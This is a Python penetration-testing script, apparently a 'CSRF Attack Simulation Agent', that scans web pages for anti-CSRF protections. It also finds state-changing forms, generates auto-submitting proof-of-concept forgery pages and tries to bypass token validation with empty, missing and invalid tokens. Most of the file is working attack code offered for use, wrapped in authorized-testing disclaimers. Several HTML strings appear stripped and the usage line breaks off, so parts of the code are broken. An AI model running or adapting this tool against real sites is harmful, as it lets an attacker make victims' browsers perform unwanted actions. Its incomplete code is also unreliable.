#!/usr/bin/env python3 # For authorized penetration testing and educational environments only. # Usage against targets without prior mutual consent is illegal. # It is the end user's responsibility to obey all applicable local, state and federal laws. """ CSRF Attack Simulation Agent — AUTHORIZED TESTING ONLY Tests web applications for Cross-Site Request Forgery vulnerabilities by analyzing anti-CSRF protections and generating proof-of-concept payloads. WARNING: Only use with explicit written authorization for the target application. """ import re import sys from datetime import datetime, timezone from urllib.parse import urlparse import requests def analyze_csrf_protections(url: str, session: requests.Session = None) -> dict: """Analyze a page for CSRF protection mechanisms.""" if session is None: session = requests.Session() try: resp = session.get(url, timeout=15) except requests.RequestException as e: return {"url": url, "error": str(e)} result = { "url": url, "status_code": resp.status_code, "csrf_tokens_found": [], "samesite_cookies": [], "custom_headers_required": False, "protections": [], "vulnerable": True, } token_patterns = [ r'name=["\']csrf[_-]?token["\'][^>]*value=["\']([^"\']+)', r'name=["\']_token["\'][^>]*value=["\']([^"\']+)', r'name=["\']authenticity_token["\'][^>]*value=["\']([^"\']+)', r'name=["\']__RequestVerificationToken["\'][^>]*value=["\']([^"\']+)', r'name=["\']csrfmiddlewaretoken["\'][^>]*value=["\']([^"\']+)', ] for pattern in token_patterns: matches = re.findall(pattern, resp.text, re.IGNORECASE) if matches: result["csrf_tokens_found"].extend(matches) result["protections"].append("CSRF token in form") result["vulnerable"] = False meta_pattern = r']*content=["\']([^"\']+)' meta_matches = re.findall(meta_pattern, resp.text, re.IGNORECASE) if meta_matches: result["csrf_tokens_found"].extend(meta_matches) result["protections"].append("CSRF token in meta tag") result["vulnerable"] = False for cookie_name, cookie_value in resp.cookies.items(): cookie_header = resp.headers.get("Set-Cookie", "") samesite = "none" if "samesite=strict" in cookie_header.lower(): samesite = "strict" elif "samesite=lax" in cookie_header.lower(): samesite = "lax" result["samesite_cookies"].append({ "name": cookie_name, "samesite": samesite, }) if samesite in ("strict", "lax"): result["protections"].append(f"SameSite={samesite} cookie: {cookie_name}") if "x-csrf-token" in resp.headers.get("vary", "").lower(): result["custom_headers_required"] = True result["protections"].append("Custom X-CSRF-Token header required") result["vulnerable"] = False return result def find_state_changing_forms(url: str, session: requests.Session = None) -> list[dict]: """Identify forms that perform state-changing actions (POST, PUT, DELETE).""" if session is None: session = requests.Session() resp = session.get(url, timeout=15) form_pattern = re.compile( r'
', re.DOTALL | re.IGNORECASE ) action_pattern = re.compile(r'action=["\']([^"\']*)', re.IGNORECASE) method_pattern = re.compile(r'method=["\']([^"\']*)', re.IGNORECASE) input_pattern = re.compile( r']*name=["\']([^"\']+)["\'][^>]*(?:type=["\']([^"\']*)["\'])?', re.IGNORECASE, ) forms = [] for match in form_pattern.finditer(resp.text): form_html = match.group(0) action = action_pattern.search(form_html) method = method_pattern.search(form_html) inputs = input_pattern.findall(form_html) method_val = method.group(1).upper() if method else "GET" if method_val in ("POST", "PUT", "DELETE", "PATCH"): form_data = { "action": action.group(1) if action else url, "method": method_val, "inputs": [{"name": i[0], "type": i[1] or "text"} for i in inputs], "has_csrf_token": any( "csrf" in i[0].lower() or "token" in i[0].lower() for i in inputs ), } forms.append(form_data) return forms def generate_csrf_poc(target_url: str, method: str, params: dict, auto_submit: bool = True) -> str: """Generate CSRF proof-of-concept HTML page.""" input_fields = "\n".join( f' ' for k, v in params.items() ) auto_js = """ """ if auto_submit else "" parsed = urlparse(target_url) return f"""Target: {target_url}
{auto_js} """ def test_csrf_token_validation(url: str, session: requests.Session) -> dict: """Test if CSRF token validation can be bypassed.""" bypass_results = [] resp = session.get(url, timeout=15) token_match = re.search( r'name=["\']csrf[_-]?token["\'][^>]*value=["\']([^"\']+)', resp.text, re.IGNORECASE, ) if token_match: original_token = token_match.group(1) test_resp = session.post(url, data={"csrf_token": ""}, timeout=15) bypass_results.append({ "test": "Empty token", "status": test_resp.status_code, "bypassed": test_resp.status_code < 400, }) test_resp = session.post(url, data={}, timeout=15) bypass_results.append({ "test": "Missing token parameter", "status": test_resp.status_code, "bypassed": test_resp.status_code < 400, }) test_resp = session.post(url, data={"csrf_token": "invalid_token_value"}, timeout=15) bypass_results.append({ "test": "Invalid token value", "status": test_resp.status_code, "bypassed": test_resp.status_code < 400, }) return {"url": url, "bypass_tests": bypass_results} def generate_report(analysis: list[dict], forms: list[dict], bypass: list[dict]) -> str: """Generate CSRF testing report.""" lines = [ "CSRF ATTACK SIMULATION REPORT — AUTHORIZED TESTING ONLY", "=" * 60, f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", "", f"Endpoints Analyzed: {len(analysis)}", f"State-Changing Forms: {len(forms)}", f"Vulnerable: {sum(1 for a in analysis if a.get('vulnerable', False))}", "", "ENDPOINT ANALYSIS:", "-" * 40, ] for a in analysis: status = "VULNERABLE" if a.get("vulnerable") else "PROTECTED" lines.append(f" [{status}] {a.get('url', 'N/A')}") for prot in a.get("protections", []): lines.append(f" Protection: {prot}") if forms: lines.extend(["", "STATE-CHANGING FORMS:"]) for f in forms: csrf = "YES" if f["has_csrf_token"] else "NO" lines.append(f" {f['method']} {f['action']} (CSRF token: {csrf})") return "\n".join(lines) if __name__ == "__main__": print("[!] CSRF ATTACK SIMULATION — AUTHORIZED TESTING ONLY\n") if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]}